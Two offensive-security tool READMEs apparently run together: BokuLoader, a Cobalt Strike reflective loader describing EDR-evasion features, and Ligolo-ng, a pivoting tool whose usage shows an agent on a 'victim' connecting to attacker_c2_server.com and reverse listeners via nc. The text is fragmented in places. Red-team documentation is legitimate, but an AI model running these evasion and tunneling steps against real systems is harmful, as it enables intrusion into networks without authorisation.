A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!
Contributor | Notable Contributions | |
---|---|---|
Bobby Cooke | @0xBoku | Project original author and maintainer |
Santiago Pecin | @s4ntiago_p | Reflective Loader major enhancements |
Chris Spehn | @ConsciousHacker | Aggressor scripting |
Joshua Magri | @passthehashbrwn | IAT hooking |
Dylan Tran | @d_tranman | Reflective Call Stack Spoofing |
James Yeung | @5cript1diot | Indirect System Calls |
The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.
The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.
Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.
NtProtectVirtualMemory
obfuscate "true"
with custom UDRL Aggressor script implementation.0x1000
bytes will be nulls.XGetProcAddress
for resolving symbolsKernel32.GetProcAddress
xLoadLibrary
for resolving DLL's base address & DLL LoadingTEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
Kernel32.LoadLibraryA
Command | Option(s) | Supported |
---|---|---|
allocator | HeapAlloc, MapViewOfFile, VirtualAlloc | All supported via BokuLoader implementation |
module_x64 | string (DLL Name) | Supported via BokuLoader implementation. Same DLL stomping requirements as CS implementation apply |
obfuscate | true/false | HTTP/S beacons supported via BokuLoader implementation. SMB/TCP is currently not supported for obfuscate true. Details in issue. Accepting help if you can fix :) |
entry_point | RVA as decimal number | Supported via BokuLoader implementation |
cleanup | true | Supported via CS integration |
userwx | true/false | Supported via BokuLoader implementation |
sleep_mask | (true/false) or (Sleepmask Kit+true) | Supported. When using default "sleepmask true" (without sleepmask kit) set "userwx true". When using sleepmask kit which supports RX beacon.text memory (src47/Ekko ) set "sleepmask true" && "userwx false". |
magic_mz_x64 | 4 char string | Supported via CS integration |
magic_pe | 2 char string | Supported via CS integration |
transform-x64 prepend | escaped hex string |
BokuLoader.cna Aggressor script modification |
transform-x64 strrep | string string |
BokuLoader.cna Aggressor script modification |
stomppe | true/false | Unsupported. BokuLoader does not copy beacon DLL headers over. First 0x1000 bytes of virtual beacon DLL are 0x00
|
checksum | number | Experimental. BokuLoader.cna Aggressor script modification |
compile_time | date-time string | Experimental. BokuLoader.cna Aggressor script modification |
image_size_x64 | decimal value | Unsupported |
name | string | Experimental. BokuLoader.cna Aggressor script modification |
rich_header | escaped hex string | Experimental. BokuLoader.cna Aggressor script modification |
stringw | string | Unsupported |
string | string | Unsupported |
make
BokuLoader.cna
Aggressor scriptUse the Script Console
to ensure BokuLoader was implemented in the beacon build
Does not support x86 option. The x86 bin is the original Reflective Loader object file.
RAW
beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize
variable must be larger than the default.Original Cobalt Strike String | BokuLoader Cobalt Strike String |
---|---|
ReflectiveLoader | BokuLoader |
Microsoft Base Cryptographic Provider v1.0 | 12367321236742382543232341241261363163151d |
(admin) | (tomin) |
beacon | bacons |
Kernel32.LoadLibraryExA
is called to map the DLL from diskKernel32.LoadLibraryExA
is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
RX
or RWX
memory will exist in the heap if sleepmask kit is not used.Kernel32.CreateFileMappingA
& Kernel32.MapViewOfFile
is called to allocate memory for the virtual beacon DLL.NtAllocateVirtualMemory
, NtProtectVirtualMemory
ntdll.dll
will not detect these systemcalls.mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11
assembly instructions within its executable memory.0x1000
bytes of the virtual beacon DLL are zeros.Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
As an example, for a TCP connection:
This allows running tools like nmap without the use of proxychains (simpler and faster).
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Building ligolo-ng (Go >= 1.20 is required):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
When using Linux, you need to create a tun interface on the Proxy Server (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
You need to download the Wintun driver (used by WireGuard) and place the wintun.dll
in the same folder as Ligolo (make sure you use the right architecture).
Start the proxy server on your Command and Control (C2) server (default port 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
When using the -autocert
option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.
Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
If you want to use your own certificates for the proxy server, you can use the -certfile
and -keyfile
parameters.
The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert
option.
The -ignore-cert
option needs to be used with the agent.
Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.
Start the agent on your target (victim) computer (no privileges are required!):
$ ./agent -connect attacker_c2_server.com:11601
If you want to tunnel the connection over a SOCKS5 proxy, you can use the
--socks ip:port
option. You can specify SOCKS credentials using the--socks-user
and--socks-pass
arguments.
A session should appear on the proxy server.
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use the session
command to select the agent.
ligolo-ng Β» session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Display the network configuration of the agent using the ifconfig
command:
[Agent : nchatelain@nworkstation] Β» ifconfig
[...]
βββββββββββββββββββββββββββββββββββββββββββββββ
β Interface 3 β
ββββββββββββββββ¬βββββββββββββββββββββββββββββββ€
β Name β wlp3s0 β
β Hardware MAC β de:ad:be:ef:ca:fe β
β MTU β 1500 β
β Flags β up|broadcast|multicast β
β IPv4 Address β 192.168.0.30/24 β
ββββββββββββββββ΄βββββββββββββββββββββββββββββββ
Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.
Linux:
$ sudo ip route add 192.168.0.0/24 dev ligolo
Windows:
> netsh int ipv4 show interfaces
Idx MΓ©t MTU Γtat Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
Start the tunnel on the proxy:
[Agent : nchatelain@nworkstation] Β» start
[Agent : nchatelain@nworkstation] Β» INFO[0690] Starting tunnel to nchatelain@nworkstation
You can now access the 192.168.0.0/24 agent network from the proxy server.
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]
You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add
command.
The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.
[Agent : nchatelain@nworkstation] Β» listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
On the proxy
:
$ nc -lvp 4321
When a connection is made on the TCP port 1234
of the agent, nc
will receive the connection.
This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list
command and stop them using the listener_stop [ID]
command:
[Agent : nchatelain@nworkstation] Β» listener_list
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Active listeners β
βββββ¬ββββββββββββββββββββββββββ¬βββββ ββββββββββββββββββββ¬βββββββββββββββββββββββββ€
β # β AGENT β AGENT LISTENER ADDRESS β PROXY REDIRECT ADDRESS β
βββββΌββββββββββββββββββββββββββΌβββββββββββββββββββββββββΌββββββββββββββββββββββββ& #9508;
β 0 β nchatelain@nworkstation β 0.0.0.0:1234 β 127.0.0.1:4321 β
βββββ΄ββββββββββββββββββββββββββ΄βββββββββββββββββββββββββ΄βββββββββββββββββββββββββ
[Agent : nchatelain@nworkstation] Β» listener_stop 0
INFO[1505] Listener closed.
On the agent side, no! Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.
You can easily hit more than 100 Mbits/sec. Here is a test using iperf
from a 200Mbits/s server to a 200Mbits/s connection.
$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8. 00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver
Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.
When using nmap, you should use --unprivileged
or -PE
to avoid false positives.